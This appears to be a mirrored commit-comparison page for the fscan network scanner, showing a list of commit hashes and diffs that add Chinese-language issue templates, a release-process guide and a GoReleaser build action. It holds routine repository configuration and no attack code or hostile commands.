mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2c921c375b | ||
|
|
6bb8ccd490 | ||
|
|
95cc12e753 | ||
|
|
75f4265098 | ||
|
|
5bda99528b | ||
|
|
a1ff55ef55 | ||
|
|
1418f6d8ce | ||
|
|
3ef7a1beee | ||
|
|
621b2c2f24 | ||
|
|
61ae87d171 | ||
|
|
9d0010927e | ||
|
|
bf036fd9b2 | ||
|
|
fdf836f003 | ||
|
|
075bf646dc | ||
|
|
1980504007 | ||
|
|
a3ccc2827b | ||
|
|
ed45d0ead5 | ||
|
|
4922122530 | ||
|
|
4976cb1f6b | ||
|
|
ed2f947722 | ||
|
|
34638954b8 | ||
|
|
65e64e8967 | ||
|
|
1c6f3b80d0 | ||
|
|
9b8e4f3f3b | ||
|
|
0612255893 | ||
|
|
d7dbccab76 | ||
|
|
6eff1d5ccf | ||
|
|
2f7d2d49c6 | ||
|
|
35f3cf1960 | ||
|
|
065ba6fae7 | ||
|
|
6d61b661f4 | ||
|
|
3babff6863 | ||
|
|
d7071b7b8e | ||
|
|
6ae37b8892 | ||
|
|
2b202aa298 | ||
|
|
6d7e6cd394 | ||
|
|
626d8f79bb | ||
|
|
a52e93e84c | ||
|
|
04cae2e42d | ||
|
|
4169eb6ee0 | ||
|
|
63631d6cdf | ||
|
|
4f6bb28138 | ||
|
|
46a6d812a4 | ||
|
|
d4f4e65dec | ||
|
|
a115499793 | ||
|
|
8402be98e3 | ||
|
|
c49c23c7f0 | ||
|
|
5ad914a1bb | ||
|
|
2ab7c4d9b2 | ||
|
|
5c251b123d | ||
|
|
800cc30794 | ||
|
|
8e3cac303d | ||
|
|
4b79cb7a18 | ||
|
|
9d38874a03 | ||
|
|
88c7e4f2be | ||
|
|
e0468ecd35 | ||
|
|
d0295dcb92 | ||
|
|
ade9cd1bff | ||
|
|
6d91b544de | ||
|
|
42092d8664 | ||
|
|
bc46e90d89 | ||
|
|
67f2251da3 | ||
|
|
e6c5e5a9a8 | ||
|
|
0356485595 | ||
|
|
b085df1878 | ||
|
|
8fb66e8e2f | ||
|
|
272b0e28c8 | ||
|
|
28686f845d | ||
|
|
06ba595e32 | ||
|
|
1a7770530d | ||
|
|
2a9a3c36e2 | ||
|
|
70cce742e1 | ||
|
|
02ad8f5334 | ||
|
|
6a1636112f | ||
|
|
45ebe7040e | ||
|
|
15a7670ba2 | ||
|
|
1595c92aed | ||
|
|
517133f72f | ||
|
|
0918eb38a6 | ||
|
|
5b7e72e56e | ||
|
|
52f872b8d1 | ||
|
|
66b175d623 | ||
|
|
6b5bc191ca | ||
|
|
f883944b2b | ||
|
|
683707fcd4 | ||
|
|
b94e8bc4ca | ||
|
|
4198c1abc8 | ||
|
|
68f990d20b | ||
|
|
72042111c6 | ||
|
|
08a87b3128 | ||
|
|
cc1af631f0 | ||
|
|
5078fbc975 | ||
|
|
354ad2e24b | ||
|
|
942f0fa6c3 | ||
|
|
37b77f9c86 | ||
|
|
a02eed0518 | ||
|
|
019d13c9d4 | ||
|
|
c43982f834 | ||
|
|
d6d323854a | ||
|
|
569d21a8bc | ||
|
|
8ec96bfe6d | ||
|
|
8b558b4f12 | ||
|
|
3e4e2db722 | ||
|
|
ac755a9b4a | ||
|
|
ea17b5b1bc | ||
|
|
bfc0e0fb52 | ||
|
|
40b0eee654 | ||
|
|
8d30ee334c | ||
|
|
73cbe803c4 | ||
|
|
9ed6cc95b6 | ||
|
|
a0f0379c6c | ||
|
|
3c7823355d | ||
|
|
1a714f6a0c | ||
|
|
0046817c2e | ||
|
|
e0080555b4 | ||
|
|
bc2a8f653a | ||
|
|
a92df59dfe | ||
|
|
0a28db7371 | ||
|
|
778ba019d5 | ||
|
|
f43e3e3d0a | ||
|
|
a1588a321f | ||
|
|
eb4fa38fea | ||
|
|
c15aa3488b | ||
|
|
218811c38d | ||
|
|
5a884ca6ad | ||
|
|
5942d3bbcb | ||
|
|
c0a9cfd8f5 | ||
|
|
c16aa04e28 | ||
|
|
856eeccd78 | ||
|
|
13f7997d16 | ||
|
|
adb3ac5b74 | ||
|
|
8de7570268 | ||
|
|
3dde0c6a8e | ||
|
|
d4ed0867c9 | ||
|
|
6605c93dd9 | ||
|
|
6bfa05cb45 | ||
|
|
bce0a718ea | ||
|
|
40c3f1423e | ||
|
|
bfd64f78ed | ||
|
|
7063027acf | ||
|
|
639298b7c8 | ||
|
|
f427f04d35 | ||
|
|
05e383d8bf | ||
|
|
a560531e70 | ||
|
|
77827bef66 | ||
|
|
c266912dcb | ||
|
|
2f2b30763c | ||
|
|
72403ebb32 | ||
|
|
4fa8fdc30e | ||
|
|
bf210dd94d | ||
|
|
cb1079598d | ||
|
|
ec10097e76 | ||
|
|
231563e82b | ||
|
|
5af8682d22 | ||
|
|
a42f074b00 | ||
|
|
1ebcd6dc79 | ||
|
|
150e48ba85 | ||
|
|
76a4331fae | ||
|
|
ca4e1ffad3 | ||
|
|
a0fc7881f2 | ||
|
|
bc28df2ed1 | ||
|
|
7459da2b44 | ||
|
|
9d191889d0 | ||
|
|
2e277a51ed | ||
|
|
73b0b0b822 | ||
|
|
d412786228 | ||
|
|
b2e91d9fc0 | ||
|
|
3436d6ad02 | ||
|
|
a0f323a891 | ||
|
|
46e50a021f | ||
|
|
b32ce5dec8 | ||
|
|
2c2ca6ace3 | ||
|
|
db0b53b139 | ||
|
|
4c58843033 | ||
|
|
760c8ea502 | ||
|
|
594f567650 | ||
|
|
6b13b2e84f | ||
|
|
03b21f92f1 | ||
|
|
2674e469b8 | ||
|
|
d4a486763b | ||
|
|
6fe1f11e36 | ||
|
|
6f17deb963 | ||
|
|
820ba6a35b | ||
|
|
5bdfd769f2 | ||
|
|
b6b898532b | ||
|
|
5dd74269a8 | ||
|
|
26d0955ec6 | ||
|
|
a198aeabe5 | ||
|
|
f182732a8b | ||
|
|
b49228a07b | ||
|
|
3af09b7d8a | ||
|
|
379117b07a | ||
|
|
4adb4222dd | ||
|
|
dd8e327a56 | ||
|
|
ad5798d02e | ||
|
|
3c8511e91f | ||
|
|
d5e2c15333 | ||
|
|
9967b34fff | ||
|
|
487681b353 | ||
|
|
b1e67fd7b1 | ||
|
|
ac68df70f7 | ||
|
|
76cbdfb5f6 | ||
|
|
c4378545b9 | ||
|
|
5aa2fd3599 | ||
|
|
faa9f319c8 | ||
|
|
25dc6102ed | ||
|
|
0dc4a6c360 | ||
|
|
2b4a4024b8 | ||
|
|
e58a48ba9b | ||
|
|
a8bd8ca508 | ||
|
|
247459a7f7 | ||
|
|
424c654c43 | ||
|
|
7865038b22 | ||
|
|
64588ab28a | ||
|
|
2d9ea9c1d3 | ||
|
|
a30cd12249 | ||
|
|
c074adb3a9 | ||
|
|
f2475bf97c | ||
|
|
580b067298 | ||
|
|
a010fcbb6c | ||
|
|
1f0d11d93e | ||
|
|
a3c5092f9b | ||
|
|
16e40fe7ed | ||
|
|
f921d81a76 | ||
|
|
a1452eb635 | ||
|
|
e4833fd5af | ||
|
|
9092b09b16 | ||
|
|
d90deb0201 | ||
|
|
d1d242e6a8 | ||
|
|
28a64d60c4 | ||
|
|
124d29a6b3 | ||
|
|
4928b4668a | ||
|
|
5dfd0397d5 | ||
|
|
805af82a1e | ||
|
|
875d128e53 | ||
|
|
36134b7298 | ||
|
|
be3affcedd | ||
|
|
165ac8507d | ||
|
|
0d8f31b72d | ||
|
|
77705118d5 | ||
|
|
7da74ebb52 | ||
|
|
a8b83f90a0 | ||
|
|
a2c56ab106 | ||
|
|
b89e892f14 | ||
|
|
f79b12a23c | ||
|
|
b8cc8ab5dc | ||
|
|
b73996884f | ||
|
|
c58b63a6ac | ||
|
|
e4e3ff1763 | ||
|
|
e962b9171b | ||
|
|
2c4e1d9c28 | ||
|
|
e688b42efe | ||
|
|
1e42d41a1c | ||
|
|
87ceba4d8f | ||
|
|
cb6d67ed7b | ||
|
|
5c8088ff32 | ||
|
|
8170515236 | ||
|
|
f27d9b31aa | ||
|
|
d05641a7fc | ||
|
|
3e04e7801f | ||
|
|
4aaa05f6a4 | ||
|
|
42f8052b96 | ||
|
|
150d62824c | ||
|
|
c3219848ef | ||
|
|
7312da8af8 | ||
|
|
3beb6b42b2 | ||
|
|
18aae783c6 | ||
|
|
8e59c8f09c | ||
|
|
3ae0f306c1 | ||
|
|
cc9d292bdd | ||
|
|
46e0472ec1 | ||
|
|
3dde342d65 | ||
|
|
eb8cda3b7f | ||
|
|
bcb326dbef | ||
|
|
102d100c25 | ||
|
|
b8a591920b | ||
|
|
c94ec76292 | ||
|
|
65b94465fe | ||
|
|
d367be0c68 | ||
|
|
cdbc0e02f3 | ||
|
|
f20aadb745 | ||
|
|
97e9ac7161 | ||
|
|
c6c613a17b | ||
|
|
a245934cf2 | ||
|
|
0235bf5af5 | ||
|
|
e2c8dd8b1f | ||
|
|
e624c3092f | ||
|
|
86b6faec79 | ||
|
|
8f2226987d | ||
|
|
a852bc569f | ||
|
|
2da0804b7f | ||
|
|
235e2aee60 | ||
|
|
af06345aa5 | ||
|
|
75aeee5215 | ||
|
|
a42ee523b0 | ||
|
|
a603e13d3b | ||
|
|
ceede3cd68 | ||
|
|
277ea5d332 | ||
|
|
d13e1952e9 | ||
|
|
df4d39fb1f | ||
|
|
e93b6fc613 | ||
|
|
42482228da | ||
|
|
c004762a8c | ||
|
|
ed69e41001 | ||
|
|
5e06a0b2b7 | ||
|
|
2ce7041c95 | ||
|
|
0954492540 | ||
|
|
ee1d176a8f | ||
|
|
ef70395d7d | ||
|
|
907b92863e | ||
|
|
befaa28bbd | ||
|
|
679c25eb38 | ||
|
|
ad9cafe0ad | ||
|
|
40e8f6621d | ||
|
|
fe1b92cc98 | ||
|
|
0a9c732ee8 | ||
|
|
94121a796f | ||
|
|
fa1d787c84 | ||
|
|
1a5f789ba8 | ||
|
|
57b6d41737 | ||
|
|
1f860f22c8 | ||
|
|
6ba42c8c39 | ||
|
|
016dfa7889 | ||
|
|
1906acf551 | ||
|
|
26525dbb0e | ||
|
|
3529efcb24 | ||
|
|
9e8726e1f8 | ||
|
|
5524300824 | ||
|
|
c62e19ad26 | ||
|
|
7bded7bc31 | ||
|
|
8f5d0caaf2 | ||
|
|
46f9ab84b1 | ||
|
|
04ee3afb07 | ||
|
|
a5738304a1 | ||
|
|
66e52791f7 | ||
|
|
760246b7e0 | ||
|
|
ee8f52c199 | ||
|
|
dfe74fc5b4 | ||
|
|
f06013326f | ||
|
|
4d6b529768 | ||
|
|
bbbc4317df | ||
|
|
1b9c9a00fe | ||
|
|
cfea0afd9c | ||
|
|
70d008ba69 | ||
|
|
eb1b0f32a6 | ||
|
|
e70a1a7bd2 | ||
|
|
8be8f94d82 | ||
|
|
2e3ccee2e0 | ||
|
|
eab41f6018 | ||
|
|
c5dcf2c633 | ||
|
|
d192b7fc2a | ||
|
|
44c1a207dd | ||
|
|
33cb33b1ad | ||
|
|
17c85431ca | ||
|
|
8767c9bae4 | ||
|
|
2bfd58663c | ||
|
|
b7d4e185aa | ||
|
|
497bc2e86b | ||
|
|
9cd137c099 | ||
|
|
1313916081 | ||
|
|
e7d9354284 | ||
|
|
5789017d1a | ||
|
|
878595e341 | ||
|
|
c7b6e21d39 | ||
|
|
e6545417b8 | ||
|
|
3fe6e3eec5 | ||
|
|
5190d63680 | ||
|
|
daec3c1ca4 | ||
|
|
763da727ac | ||
|
|
92217f572f | ||
|
|
bf1b45f407 | ||
|
|
672dfee2ac | ||
|
|
57e0cc06e1 | ||
|
|
375a1e4673 | ||
|
|
8f1c5dbae9 | ||
|
|
92c03e95a9 | ||
|
|
4da94448cb | ||
|
|
2f7d020e9f | ||
|
|
9c0fcd98fe | ||
|
|
1278a0355f | ||
|
|
0152428748 | ||
|
|
bdeabec67e | ||
|
|
c0b7f4ca4f | ||
|
|
ef2c20bf4e | ||
|
|
2481ca4184 | ||
|
|
9ee51a96d8 | ||
|
|
40b6dbcd1c | ||
|
|
59cc462467 | ||
|
|
1bafa4d6f5 | ||
|
|
01ae22119d | ||
|
|
45a861d4f1 | ||
|
|
c3c413ebc0 | ||
|
|
1cfedda2ce | ||
|
|
08ba177f52 | ||
|
|
346ece01f6 | ||
|
|
95d806d4a9 | ||
|
|
f3ba1acd75 | ||
|
|
e34b737b87 | ||
|
|
96798b6fa3 | ||
|
|
8837f61197 | ||
|
|
8984ae52a3 | ||
|
|
d6349a9d88 | ||
|
|
2969cac802 | ||
|
|
de076d1a13 | ||
|
|
75cd097e35 | ||
|
|
1418487735 | ||
|
|
39dabbfb9e | ||
|
|
035bf862a3 | ||
|
|
5c05965967 | ||
|
|
6ee7bab188 | ||
|
|
2c1bdd98ee | ||
|
|
ce211fef78 | ||
|
|
97b205f4a7 | ||
|
|
7dbb6b652f | ||
|
|
a0c648c5a2 | ||
|
|
1deeb8bb71 | ||
|
|
85778a9773 | ||
|
|
c8687827ac | ||
|
|
0cfbf40baf | ||
|
|
b14510fa52 | ||
|
|
b857dd4fa7 | ||
|
|
fc94e4ee0d | ||
|
|
dfc84e9813 | ||
|
|
6a84d0cf8a | ||
|
|
38ea172e26 | ||
|
|
2ce84dc517 | ||
|
|
7f62d4a835 | ||
|
|
9296ad0846 | ||
|
|
6d499dae10 | ||
|
|
4d3ccba255 | ||
|
|
02eb3d6f7a | ||
|
|
6a33a65c94 | ||
|
|
d860eb63b3 | ||
|
|
b1883ca707 | ||
|
|
468447861c | ||
|
|
88d3fe489d | ||
|
|
728f6c78b5 | ||
|
|
0349952dd1 | ||
|
|
352cbd44be | ||
|
|
cd6809e775 | ||
|
|
79343b1722 | ||
|
|
5cc6687248 | ||
|
|
dd8514784e | ||
|
|
6a452d5959 | ||
|
|
35fc0fadc5 | ||
|
|
ec30b0d2a4 | ||
|
|
e39363dce0 | ||
|
|
59e5b88600 | ||
|
|
23fea2c290 | ||
|
|
5ad4c1a580 | ||
|
|
8d5806e456 | ||
|
|
66125a3a2d | ||
|
|
1d0676e508 | ||
|
|
9433741471 | ||
|
|
ec346409f7 | ||
|
|
56c4453c7f | ||
|
|
0eeda0879d | ||
|
|
5d9bcaaadc | ||
|
|
ab14b15864 | ||
|
|
cae98e7d90 | ||
|
|
f35a259f11 | ||
|
|
e15f8e8cc0 | ||
|
|
42908d3319 | ||
|
|
77d59c1e6b | ||
|
|
02dfcebcc5 | ||
|
|
624ab9bab0 | ||
|
|
5ad5af884e | ||
|
|
3dfd2e9e30 | ||
|
|
d01df95dba | ||
|
|
513bb93e1b | ||
|
|
e433c635dd | ||
|
|
509f53f4b3 | ||
|
|
d470a91d55 | ||
|
|
a11b769603 | ||
|
|
1d9b6528dd | ||
|
|
0fd6658bce | ||
|
|
15f3864db2 | ||
|
|
eefd29d102 | ||
|
|
66671cd4cf | ||
|
|
19d969acd2 | ||
|
|
276b446e0c | ||
|
|
15cdc19097 | ||
|
|
197b0884a1 | ||
|
|
0cf8b8c180 | ||
|
|
c5adbdb551 | ||
|
|
5dc1c4ee5e | ||
|
|
1c631133ad |
@@ -0,0 +1,2 @@
|
||||
# 统一换行符为 LF
|
||||
* text=auto eol=lf
|
||||
@@ -0,0 +1,124 @@
|
||||
name: 🐛 Bug 报告
|
||||
description: 报告扫描异常、崩溃或错误行为
|
||||
title: "[Bug] "
|
||||
labels: ["bug"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。
|
||||
**请勿直接提交未修改的模板**,未填写有效信息的 Issue 会被直接关闭。
|
||||
|
||||
- type: dropdown
|
||||
id: module
|
||||
attributes:
|
||||
label: 问题模块
|
||||
description: 问题出现在哪个功能模块?
|
||||
options:
|
||||
- 端口扫描 (Port Scan)
|
||||
- 主机存活检测 (Host Discovery)
|
||||
- 服务识别 (Service Detection)
|
||||
- 弱口令爆破 (Brute Force)
|
||||
- POC/漏洞扫描 (POC Scan)
|
||||
- Web指纹识别 (Web Fingerprint)
|
||||
- 代理功能 (Proxy)
|
||||
- 输出/日志 (Output/Logging)
|
||||
- 命令行参数 (CLI Arguments)
|
||||
- 嵌入式 SDK (Embedded SDK)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: severity
|
||||
attributes:
|
||||
label: 严重程度
|
||||
options:
|
||||
- 崩溃/Panic (Crash)
|
||||
- 功能异常 (Malfunction)
|
||||
- 结果不准确 (Inaccurate)
|
||||
- 性能问题 (Performance)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: 问题描述
|
||||
description: 清晰描述遇到的问题,包括预期行为和实际行为
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: reproduce
|
||||
attributes:
|
||||
label: 复现步骤
|
||||
description: 提供可以复现问题的完整命令(请脱敏 IP/密码)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: output
|
||||
attributes:
|
||||
label: 错误输出
|
||||
description: 粘贴相关的错误信息或日志(请脱敏敏感信息)
|
||||
render: shell
|
||||
|
||||
- type: dropdown
|
||||
id: version
|
||||
attributes:
|
||||
label: fscan 版本
|
||||
options:
|
||||
- 2.2.0
|
||||
- 2.2.0-rc
|
||||
- 2.1.3
|
||||
- 2.1.2
|
||||
- 2.1.0
|
||||
- 2.0.x
|
||||
- 1.8.x
|
||||
- 其他/自编译
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: os
|
||||
attributes:
|
||||
label: 操作系统
|
||||
options:
|
||||
- Windows 11
|
||||
- Windows 10
|
||||
- Windows Server 2022
|
||||
- Windows Server 2019
|
||||
- Ubuntu 24.04
|
||||
- Ubuntu 22.04
|
||||
- CentOS 7/8/Stream
|
||||
- Debian 11/12
|
||||
- Kali Linux
|
||||
- macOS 15 (Sequoia)
|
||||
- macOS 14 (Sonoma)
|
||||
- 其他 Linux
|
||||
- 其他
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: arch
|
||||
attributes:
|
||||
label: 系统架构
|
||||
options:
|
||||
- amd64 (x86_64)
|
||||
- arm64 (aarch64)
|
||||
- 386 (x86)
|
||||
- arm
|
||||
- mips/mipsle
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: additional
|
||||
attributes:
|
||||
label: 补充信息
|
||||
description: 其他有助于排查的信息(网络环境、是否使用代理、自编译请注明 Go 版本等)
|
||||
@@ -0,0 +1,10 @@
|
||||
# Issue 模板配置
|
||||
blank_issues_enabled: false
|
||||
|
||||
contact_links:
|
||||
- name: 📖 使用文档 / README
|
||||
url: https://github.com/shadow1ng/fscan/blob/main/README.md
|
||||
about: 提交 Issue 前请先查阅文档,确认不是用法问题
|
||||
- name: 💬 讨论区 / Discussions
|
||||
url: https://github.com/shadow1ng/fscan/discussions
|
||||
about: 使用疑问、经验分享、一般性讨论请使用 Discussions
|
||||
@@ -0,0 +1,112 @@
|
||||
name: 🎯 误报/漏报
|
||||
description: 报告扫描结果不准确的问题
|
||||
title: "[Accuracy] "
|
||||
labels: ["accuracy"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您帮助提高 fscan 的准确性!
|
||||
**请提供对比验证结果**(如 nmap、手动连接等),仅描述"感觉不对"的报告无法处理。
|
||||
|
||||
- type: dropdown
|
||||
id: type
|
||||
attributes:
|
||||
label: 问题类型
|
||||
options:
|
||||
- 误报 (False Positive) - 报告了不存在的问题
|
||||
- 漏报 (False Negative) - 未能检测到存在的问题
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: category
|
||||
attributes:
|
||||
label: 涉及功能
|
||||
options:
|
||||
- 主机存活检测
|
||||
- 端口状态判断
|
||||
- 服务识别
|
||||
- 弱口令检测
|
||||
- POC/漏洞检测
|
||||
- Web指纹识别
|
||||
- 其他
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: command
|
||||
attributes:
|
||||
label: 使用的命令
|
||||
description: 执行的 fscan 命令(请脱敏真实 IP/密码)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: fscan-output
|
||||
attributes:
|
||||
label: fscan 输出结果
|
||||
description: 粘贴相关的扫描输出(请脱敏敏感信息)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: actual
|
||||
attributes:
|
||||
label: 实际情况及验证方式
|
||||
description: 描述目标的真实状态,以及你通过什么方式验证的(nmap、手动连接、其他工具等)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: target-os
|
||||
attributes:
|
||||
label: 目标操作系统
|
||||
options:
|
||||
- Windows Server
|
||||
- Windows Desktop
|
||||
- Ubuntu/Debian
|
||||
- CentOS/RHEL
|
||||
- 其他 Linux
|
||||
- 网络设备
|
||||
- 容器/Docker
|
||||
- 未知
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: network
|
||||
attributes:
|
||||
label: 网络环境
|
||||
options:
|
||||
- 直连(同网段)
|
||||
- 跨网段/路由
|
||||
- 通过代理 (SOCKS5/HTTP)
|
||||
- VPN
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: version
|
||||
attributes:
|
||||
label: fscan 版本
|
||||
options:
|
||||
- 2.2.0
|
||||
- 2.2.0-rc
|
||||
- 2.1.3
|
||||
- 2.1.2
|
||||
- 2.1.0
|
||||
- 2.0.x
|
||||
- 1.8.x
|
||||
- 其他/自编译
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: suggestion
|
||||
attributes:
|
||||
label: 改进建议(可选)
|
||||
description: 如果您有改进判断逻辑的想法
|
||||
@@ -0,0 +1,68 @@
|
||||
name: ✨ 功能请求
|
||||
description: 提议新功能或改进现有功能
|
||||
title: "[Feature] "
|
||||
labels: ["enhancement"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您的功能建议!请描述清楚使用场景和期望行为。
|
||||
纯 "+1" 类请求请用 Reaction 表达,不要开新 Issue。
|
||||
|
||||
- type: dropdown
|
||||
id: category
|
||||
attributes:
|
||||
label: 功能类别
|
||||
options:
|
||||
- 新扫描能力 (New Scan Capability)
|
||||
- 性能优化 (Performance)
|
||||
- 用户体验 (UX/CLI)
|
||||
- 输出格式 (Output Format)
|
||||
- 配置选项 (Configuration)
|
||||
- 嵌入式 SDK (Embedded SDK)
|
||||
- 集成/API (Integration/API)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: problem
|
||||
attributes:
|
||||
label: 解决什么问题?
|
||||
description: 描述您的实际使用场景和痛点
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: solution
|
||||
attributes:
|
||||
label: 期望的解决方案
|
||||
description: 描述您希望的功能行为,最好包含预期的命令行用法示例
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: alternatives
|
||||
attributes:
|
||||
label: 替代方案(可选)
|
||||
description: 您目前的变通方法,或考虑过的其他方案
|
||||
|
||||
- type: dropdown
|
||||
id: priority
|
||||
attributes:
|
||||
label: 优先级建议
|
||||
description: 您认为这个功能的重要程度
|
||||
options:
|
||||
- 高 - 核心场景缺失,严重影响使用
|
||||
- 中 - 明显改善体验
|
||||
- 低 - 锦上添花
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: contribution
|
||||
attributes:
|
||||
label: 贡献意愿
|
||||
options:
|
||||
- label: 我愿意尝试实现这个功能并提交 PR
|
||||
@@ -0,0 +1,71 @@
|
||||
name: 🔌 新插件/协议支持
|
||||
description: 请求支持新的服务、协议或漏洞检测
|
||||
title: "[Plugin] "
|
||||
labels: ["plugin", "enhancement"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。
|
||||
提交前请先确认该服务尚未被支持(查看 README 的支持列表)。
|
||||
|
||||
- type: dropdown
|
||||
id: type
|
||||
attributes:
|
||||
label: 请求类型
|
||||
options:
|
||||
- 新服务/协议支持 (New Service)
|
||||
- 新弱口令检测 (New Brute Force)
|
||||
- 新漏洞 POC (New POC)
|
||||
- 新指纹识别 (New Fingerprint)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: service
|
||||
attributes:
|
||||
label: 服务/协议名称
|
||||
description: 例如 ClickHouse、etcd、Consul、Zookeeper
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: port
|
||||
attributes:
|
||||
label: 默认端口
|
||||
description: 例如 9000、2379、8500
|
||||
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: 服务描述与检测思路
|
||||
description: 简要介绍服务用途、在内网中的常见程度,以及如何识别(Banner 特征、认证方式等)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: reference
|
||||
attributes:
|
||||
label: 参考资料(可选)
|
||||
description: 官方文档链接、协议规范、其他工具实现、CVE 编号等
|
||||
|
||||
- type: dropdown
|
||||
id: prevalence
|
||||
attributes:
|
||||
label: 内网常见程度
|
||||
options:
|
||||
- 非常常见(企业环境标配)
|
||||
- 较为常见(经常遇到)
|
||||
- 偶尔遇到
|
||||
- 较少见但高价值
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: contribution
|
||||
attributes:
|
||||
label: 贡献意愿
|
||||
options:
|
||||
- label: 我愿意尝试实现这个插件并提交 PR
|
||||
- label: 我可以提供测试环境
|
||||
@@ -0,0 +1,61 @@
|
||||
# 发版流程
|
||||
|
||||
## 预检查
|
||||
|
||||
```bash
|
||||
# 1. 确认 CI 通过
|
||||
gh run list --branch dev --limit 3
|
||||
|
||||
# 2. 全平台 dry-run(手动触发 snapshot 模式)
|
||||
gh workflow run release.yml -f snapshot=true
|
||||
|
||||
# 3. 确认版本号一致
|
||||
grep "version" common/globals.go
|
||||
grep "版本" README.md
|
||||
grep "Version" README_EN.md
|
||||
```
|
||||
|
||||
## 发版
|
||||
|
||||
```bash
|
||||
# 1. 确认 release notes 已就绪
|
||||
cat .github/release-notes/v<VERSION>.md
|
||||
|
||||
# 2. 打 tag(RC 手动打;正式版合并到 main 后由 CI 自动打 tag)
|
||||
git tag v<VERSION>
|
||||
git push origin v<VERSION>
|
||||
|
||||
# CI 自动执行:
|
||||
# - goreleaser 全平台构建 + UPX 压缩
|
||||
# - 创建 GitHub Release(RC 自动标记 pre-release)
|
||||
# - 用 .github/release-notes/ 下的文件覆盖 release body
|
||||
```
|
||||
|
||||
## 版本号规范
|
||||
|
||||
| 场景 | 格式 | 分支 | 示例 |
|
||||
|------|------|------|------|
|
||||
| 正式版 | `vX.Y.Z` | main | `v2.2.0` |
|
||||
| 预发布 | `vX.Y.Z-rc` | dev | `v2.2.0-rc` |
|
||||
| 热修复 | `vX.Y.Z` | main | `v2.2.1` |
|
||||
|
||||
## Release Notes 模板
|
||||
|
||||
放在 `.github/release-notes/<tag>.md`,格式参考 `v2.2.0-rc.md`。
|
||||
|
||||
如果文件不存在,goreleaser 会自动生成基于 commit 的 changelog。
|
||||
|
||||
## 正式版发布(RC → 正式)
|
||||
|
||||
```bash
|
||||
# 1. 在 dev 分支准备正式版内容
|
||||
# common/globals.go, README.md, README_EN.md
|
||||
# .github/release-notes/v2.2.0.md
|
||||
|
||||
# 2. 创建 dev -> main PR
|
||||
gh pr create --base main --head dev
|
||||
|
||||
# 3. 合并 PR
|
||||
# main push 会自动读取 common/globals.go 中的版本号,创建 v<VERSION> tag
|
||||
# tag push 会触发 GoReleaser 构建并创建 GitHub Release
|
||||
```
|
||||
@@ -0,0 +1,91 @@
|
||||
name: '构建和发布'
|
||||
description: 'fscan 可复用构建动作'
|
||||
|
||||
inputs:
|
||||
mode:
|
||||
description: '构建模式: release 或 snapshot'
|
||||
required: true
|
||||
default: 'snapshot'
|
||||
go-version:
|
||||
description: 'Go 版本'
|
||||
required: false
|
||||
default: '1.20'
|
||||
retention-days:
|
||||
description: '产物保留天数'
|
||||
required: false
|
||||
default: '7'
|
||||
release-args:
|
||||
description: '额外的 goreleaser 参数'
|
||||
required: false
|
||||
default: ''
|
||||
|
||||
runs:
|
||||
using: 'composite'
|
||||
steps:
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
with:
|
||||
go-version: ${{ inputs.go-version }}
|
||||
cache: true
|
||||
|
||||
|
||||
- name: 下载依赖
|
||||
shell: bash
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 安装 UPX
|
||||
uses: crazy-max/ghaction-upx@v3
|
||||
with:
|
||||
install-only: true
|
||||
|
||||
- name: 使用 GoReleaser 构建
|
||||
uses: goreleaser/goreleaser-action@v6
|
||||
with:
|
||||
distribution: goreleaser
|
||||
version: latest
|
||||
args: release ${{ inputs.mode == 'snapshot' && '--snapshot' || '' }} --clean -f .github/conf/.goreleaser.yml ${{ inputs.release-args }}
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ github.token }}
|
||||
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||
